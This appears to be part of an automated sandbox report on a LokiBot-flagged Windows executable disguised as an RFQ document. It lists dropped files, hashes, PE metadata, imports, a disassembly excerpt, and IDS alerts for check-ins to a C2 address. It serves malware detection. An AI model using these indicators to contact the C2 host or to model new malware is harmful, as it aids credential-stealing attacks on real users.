qn869AameHJ7mXMdLfj/tdGlxPSsSeiEhMjIxgemoKDooNeFv2GOdpIwlUHyyUx7NzwBrnwyy1kCCHZVExaZfRohsbw920VA5uFL1Wi5E//TicmIgjyckY6u0lsBnTf934OB5dyOG1YdY6iiRf9PopChNLdJZJ3PG3RjMPTs5JxSWccJu3z2wN/OrhlVyZl4vvzc3cZpiZYc7o7+42up6hvtQiEhTaB5aqIoo1XywQB4UCUekZ/ARMXt25g+rCAowNDCwsgHnfjwyLCAwS023IpK00JNEuRHaOjvwS2WIGHpOdjdD4eNSVlqKzqQmHlErYr5fzOUsCiY0NmA+bs8OwrCTwnkXtmk5RSkMCq9SQuBPw3b8P/qFh+NnaigfqTHR3dPB1W728kHDlKtwCAtD65jXa33/Au4pyTE9Ost8PCVxp8T2Y66adxobHct/N3w8tDQ0WKykgjMjb2oQJoSX1NO5+qQdHbd4RVyA5BJ5n7cFZkLYrfNGKrD76tAM9Den/QZBh/lwy+SfAAK5qO2iUYLhmAAAAAElFTkSuQmCC)
Download File
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 663136 |
Entropy (8bit): | 7.703723996243989 |
Encrypted: | false |
SSDEEP: | 12288:IgXRAvufNFTr7L6GJpk/0C+wEc80Qu8j4RmYxrqwDwmuu6TNxFu+b:jXRyUNJr7L5vBC5ummYxrPqu6hxFu+ |
MD5: | 90FDA5C072FE00E8E737606ADD7F1276 |
SHA1: | 68752DCE786A29B815EC5454D4B4AA5F6BC73363 |
SHA-256: | C384D26E83F585FBADD73E6CEA441D1479D68DE5BB647F775B506E5EAB7F3230 |
SHA-512: | DF854AC565C084D47BC20E738EE8F36CF040D33FC2B7CB7C8AB84A83B2D77308B522ECCD81E23E576BB9F82BF1EA00A50F33435522D8D2070923DE0A862A2512 |
Malicious: | true |
Antivirus: |
|
Preview: |
C:\Users\user\AppData\Local\Ubarberet\Graustark\resultalet\RFQ-SulselBarruII2-COALCOMMLDOC.exe:Zone.Identifier
Download File
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 26 |
Entropy (8bit): | 3.95006375643621 |
Encrypted: | false |
SSDEEP: | 3:ggPYV:rPYV |
MD5: | 187F488E27DB4AF347237FE461A079AD |
SHA1: | 6693BA299EC1881249D59262276A0D2CB21F8E64 |
SHA-256: | 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309 |
SHA-512: | 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 345115 |
Entropy (8bit): | 7.691070647291503 |
Encrypted: | false |
SSDEEP: | 6144:FAFgQ39889Ah6x5gR7+OlnOdxuqt7zR2cfrSG+GBvIzXn6VZ9fMF:G+Q3rCsx5UHa3R2gJIDy98 |
MD5: | 771717ADD10395B56C27056035A7F725 |
SHA1: | BFA26B09A632998866E235C13C9859B4D4984236 |
SHA-256: | 07EECF0B61AF3A50E22D08856F08E23B6B7ED731BF1E8965525A3B9C39ACFF5B |
SHA-512: | CB68C1E0553BE1CCEEC312B487F794252B46393D767A079591DCA246D2F7820BF55602613ECF621E315476F7C781B0D63DB7DEBA1AF4877B2A1446534B975D4D |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 61450 |
Entropy (8bit): | 5.331903225465815 |
Encrypted: | false |
SSDEEP: | 1536:FNKL+KTusOLdVQxd5B+n51ZPsXb7VZcrq/qhgPqpba5Znn:FNsl9Ud2u1ZP87ViQSpyBn |
MD5: | 8418CA27CC3391358049989E80076A60 |
SHA1: | 0CA1BAE9DFABAE917324AF7337D1ED8C2B6001AA |
SHA-256: | 8559F472B29A2D1DE1124B1B2AA6D62558B1207A3910048D77B9BB07501E3733 |
SHA-512: | B6EE3A45200B5F218520C38FBDE6B6A30E4F2E847EA890ACE3B37A38B14F2C26EE12F21C350052336C67AC725233F1E5B65B1D0B5A4343EF0FCA50214B96C01F |
Malicious: | true |
Preview: |
Process: | C:\Users\user\Desktop\RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 577 |
Entropy (8bit): | 4.301168552637842 |
Encrypted: | false |
SSDEEP: | 12:tTJklkinFJosMjZ+Ez6QlGWAwfHQtpkKBUCBdvweUgo7SOHTMPgdWgQly:tqlkIvMqgXAwvGkKm4dvwjj7TTMPgUgR |
MD5: | 5DA9127F07E748B0DA6767B10C087270 |
SHA1: | B3DD5A50677E6CC6C9923FDBE4FB4D3A1FD21707 |
SHA-256: | 420647E422B79E2DAED389A252880CC5F8685A1A04C5AB6537C2712818284CBD |
SHA-512: | 0F6161B9F14C0633992593A4F0E86DE3DA3B56F975AF1A25A59D6790ED590A934256807787967265968E299B1C32AF8BC0A2EC2CA200713678028FC960049446 |
Malicious: | false |
Preview: |
Process: | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1 |
Entropy (8bit): | 0.0 |
Encrypted: | false |
SSDEEP: | 3:U:U |
MD5: | C4CA4238A0B923820DCC509A6F75849B |
SHA1: | 356A192B7913B04C54574D18C28D46E6395428AB |
SHA-256: | 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B |
SHA-512: | 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06
Download File
Process: | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 46 |
Entropy (8bit): | 1.0424600748477153 |
Encrypted: | false |
SSDEEP: | 3:/lbq:4 |
MD5: | 8CB7B7F28464C3FCBAE8A10C46204572 |
SHA1: | 767FE80969EC2E67F54CC1B6D383C76E7859E2DE |
SHA-256: | ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96 |
SHA-512: | 9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF |
Malicious: | false |
Preview: |
File type: | |
Entropy (8bit): | 7.703723996243989 |
TrID: |
|
File name: | RFQ-SulselBarruII2-COALCOMMLDOC.exe |
File size: | 663'136 bytes |
MD5: | 90fda5c072fe00e8e737606add7f1276 |
SHA1: | 68752dce786a29b815ec5454d4b4aa5f6bc73363 |
SHA256: | c384d26e83f585fbadd73e6cea441d1479d68de5bb647f775b506e5eab7f3230 |
SHA512: | df854ac565c084d47bc20e738ee8f36cf040d33fc2b7cb7c8ab84a83b2d77308b522eccd81e23e576bb9f82bf1ea00a50f33435522d8d2070923de0a862a2512 |
SSDEEP: | 12288:IgXRAvufNFTr7L6GJpk/0C+wEc80Qu8j4RmYxrqwDwmuu6TNxFu+b:jXRyUNJr7L5vBC5ummYxrPqu6hxFu+ |
TLSH: | E3E4DF9BA784F56BE1767F70EAE2D5F03B607C2DE418224F62503DC93EB29618A7410D |
File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN.*_...PN..PO.JPN.*_...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...c..d.................f..."..... |
Icon Hash: | 030379471c736f3f |
Entrypoint: | 0x4034fc |
Entrypoint Section: | .text |
Digitally signed: | true |
Imagebase: | 0x400000 |
Subsystem: | windows gui |
Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
DLL Characteristics: | DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
Time Stamp: | 0x64A0DC63 [Sun Jul 2 02:09:39 2023 UTC] |
TLS Callbacks: | |
CLR (.Net) Version: | |
OS Version Major: | 4 |
OS Version Minor: | 0 |
File Version Major: | 4 |
File Version Minor: | 0 |
Subsystem Version Major: | 4 |
Subsystem Version Minor: | 0 |
Import Hash: | f4639a0b3116c2cfc71144b88a929cfd |
Signature Valid: | false |
Signature Issuer: | E=Underdirektoriet@Trangsvurderings.Bo, O=cradlefellow, OU="Minutise Fragtmnds ", CN=cradlefellow, L=Macheren, S=Grand Est, C=FR |
Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
Error Number: | -2146762487 |
Not Before, Not After |
|
Subject Chain |
|
Version: | 3 |
Thumbprint MD5: | 7E4D04DD3CC1B0E2C959CA6BE5050F20 |
Thumbprint SHA-1: | 61AFE5027EE822137182F138A7175FE187F5F9E8 |
Thumbprint SHA-256: | A7C08AF56FF9717B74A8AEAE7BC49A3E14D72BC18EDAFFEB7C94B1151123AF60 |
Serial: | 06D690BDA534CABAB35203D8181C4EF4E3ECBD6A |
Instruction |
---|
sub esp, 000003F8h |
push ebp |
push esi |
push edi |
push 00000020h |
pop edi |
xor ebp, ebp |
push 00008001h |
mov dword ptr [esp+20h], ebp |
mov dword ptr [esp+18h], 0040A2D8h |
mov dword ptr [esp+14h], ebp |
call dword ptr [004080A4h] |
mov esi, dword ptr [004080A8h] |
lea eax, dword ptr [esp+34h] |
push eax |
mov dword ptr [esp+4Ch], ebp |
mov dword ptr [esp+0000014Ch], ebp |
mov dword ptr [esp+00000150h], ebp |
mov dword ptr [esp+38h], 0000011Ch |
call esi |
test eax, eax |
jne 00007F5D887B9D4Ah |
lea eax, dword ptr [esp+34h] |
mov dword ptr [esp+34h], 00000114h |
push eax |
call esi |
mov ax, word ptr [esp+48h] |
mov ecx, dword ptr [esp+62h] |
sub ax, 00000053h |
add ecx, FFFFFFD0h |
neg ax |
sbb eax, eax |
mov byte ptr [esp+0000014Eh], 00000004h |
not eax |
and eax, ecx |
mov word ptr [esp+00000148h], ax |
cmp dword ptr [esp+38h], 0Ah |
jnc 00007F5D887B9D18h |
and word ptr [esp+42h], 0000h |
mov eax, dword ptr [esp+40h] |
movzx ecx, byte ptr [esp+3Ch] |
mov dword ptr [00429AD8h], eax |
xor eax, eax |
mov ah, byte ptr [esp+38h] |
movzx eax, ax |
or eax, ecx |
xor ecx, ecx |
mov ch, byte ptr [esp+00000148h] |
movzx ecx, cx |
shl eax, 10h |
or eax, ecx |
movzx ecx, byte ptr [esp+0000004Eh] |
Programming Language: |
|
Name | Virtual Address | Virtual Size | Is in Section |
---|---|---|---|
IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_IMPORT | 0x84fc | 0xa0 | .rdata |
IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x62000 | 0x2e9a8 | .rsrc |
IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_SECURITY | 0xa05d8 | 0x1888 | |
IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_IAT | 0x8000 | 0x2a8 | .rdata |
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
---|---|---|---|---|---|---|---|---|---|
.text | 0x1000 | 0x6556 | 0x6600 | dd25e171f2e0fe45f2800cc9e162537d | False | 0.6652113970588235 | data | 6.456753840355455 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
.rdata | 0x8000 | 0x1358 | 0x1400 | f0b500ff912dda10f31f36da3efc8a1e | False | 0.44296875 | data | 5.102094016108248 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
.data | 0xa000 | 0x1fb38 | 0x600 | 2bc02714ee74ba781d92e94eeaccb080 | False | 0.501953125 | data | 4.040639308682379 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
.ndata | 0x2a000 | 0x38000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
.rsrc | 0x62000 | 0x2e9a8 | 0x2ea00 | c7eb0f26efb41c8ea05c23299c33d374 | False | 0.6402060991957105 | data | 6.570856112111514 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
---|---|---|---|---|---|---|
RT_ICON | 0x62448 | 0x10828 | Device independent bitmap graphic, 128 x 256 x 32, image size 67584 | English | United States | 0.2494380693245002 |
RT_ICON | 0x72c70 | 0xadc2 | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9930758509059845 |
RT_ICON | 0x7da38 | 0x8afc | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9889263631253513 |
RT_ICON | 0x86538 | 0x3911 | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9775480867958108 |
RT_ICON | 0x89e50 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.3211618257261411 |
RT_ICON | 0x8c3f8 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.3674953095684803 |
RT_ICON | 0x8d4a0 | 0xea8 | Device independent bitmap graphic, 48 x 96 x 8, image size 2688 | English | United States | 0.511727078891258 |
RT_ICON | 0x8e348 | 0x8a8 | Device independent bitmap graphic, 32 x 64 x 8, image size 1152 | English | United States | 0.6227436823104693 |
RT_ICON | 0x8ebf0 | 0x668 | Device independent bitmap graphic, 48 x 96 x 4, image size 1536 | English | United States | 0.40487804878048783 |
RT_ICON | 0x8f258 | 0x568 | Device independent bitmap graphic, 16 x 32 x 8, image size 320 | English | United States | 0.4263005780346821 |
RT_ICON | 0x8f7c0 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.5372340425531915 |
RT_ICON | 0x8fc28 | 0x2e8 | Device independent bitmap graphic, 32 x 64 x 4, image size 640 | English | United States | 0.5067204301075269 |
RT_ICON | 0x8ff10 | 0x128 | Device independent bitmap graphic, 16 x 32 x 4, image size 192 | English | United States | 0.6756756756756757 |
RT_DIALOG | 0x90038 | 0x100 | data | English | United States | 0.5234375 |
RT_DIALOG | 0x90138 | 0x11c | data | English | United States | 0.6091549295774648 |
RT_DIALOG | 0x90258 | 0xc4 | data | English | United States | 0.5918367346938775 |
RT_DIALOG | 0x90320 | 0x60 | data | English | United States | 0.7291666666666666 |
RT_GROUP_ICON | 0x90380 | 0xbc | data | English | United States | 0.6170212765957447 |
RT_VERSION | 0x90440 | 0x224 | data | English | United States | 0.5145985401459854 |
RT_MANIFEST | 0x90668 | 0x33e | XML 1.0 document, ASCII text, with very long lines (830), with no line terminators | English | United States | 0.5542168674698795 |
DLL | Import |
---|---|
ADVAPI32.dll | RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW |
SHELL32.dll | SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW |
ole32.dll | CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree |
COMCTL32.dll | ImageList_Destroy, ImageList_AddMasked, ImageList_Create |
USER32.dll | MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics |
GDI32.dll | GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor |
KERNEL32.dll | lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW |
Language of compilation system | Country where language is spoken | Map |
---|---|---|
English | United States |
Timestamp | Protocol | SID | Message | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|---|---|---|
04/03/24-06:38:05.256073 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:13.658001 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:07.360242 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:41.484457 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.987496 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.282252 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:26.534492 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:48.379699 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:38.419517 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.987496 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49763 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:10.724952 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:36.358340 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.122189 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:55.534565 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:30.613047 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:38.419517 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.219175 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:10.724952 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:13.658001 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:38.407237 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:08.198877 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:21.763703 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:03.254673 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:51.813478 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:52.772037 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.914570 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.009985 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:28.593679 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.179954 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:56.609631 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.987306 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:03.254673 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:00.331066 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:33.600213 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49826 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.914570 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:46.959263 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.093731 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.911562 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.125041 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.125041 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.218805 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.748494 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:32.267354 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.224947 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.873778 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.036535 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.224947 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:52.638175 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.842169 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:24.205256 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:35.452745 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:19.372255 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:47.778229 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:40.106892 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.842169 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.043826 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49831 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.062804 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:28.952090 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:01.015339 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:54.423488 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.904801 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:57.435447 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.022620 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
